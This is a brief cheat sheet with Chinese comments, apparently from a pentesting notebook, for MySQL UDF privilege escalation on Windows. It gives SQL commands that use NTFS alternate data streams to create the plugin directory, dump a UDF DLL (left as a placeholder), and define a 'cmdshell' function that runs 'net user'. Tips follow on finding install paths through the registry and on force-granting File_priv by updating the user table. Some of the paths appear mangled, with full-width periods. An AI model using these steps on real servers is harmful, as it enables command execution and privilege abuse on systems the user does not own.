select @@basedir; #查看mysql安装目录select 'It is dll' into dumpfile 'C:\。。lib::'; #利用NTFS ADS创建lib目录select 'It is dll' into dumpfile 'C:\。。lib\plugin::'; #利用NTFS ADS创建plugin目录select 0xUDFcode into dumpfile 'C:\phpstu\MySQL\lib\plugin\mstlab.dll'; #导出udfcode,注意修改udfcodecreate function cmdshell returns string soname 'mstlab.dll'; #用udf创建cmd函数,shell,sys_exec,sys_evalselect shell('cmd','net user'); #执行cmd命令show variables like '%plugin%'; #查看plugin路径
小技巧:
1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL 注册表中ImagePath的值为mysql安装目录2.my.ini中datadir的值是数据存放目录3.UPDATE user set File_priv ='Y'; flush privileges; 强制加file权限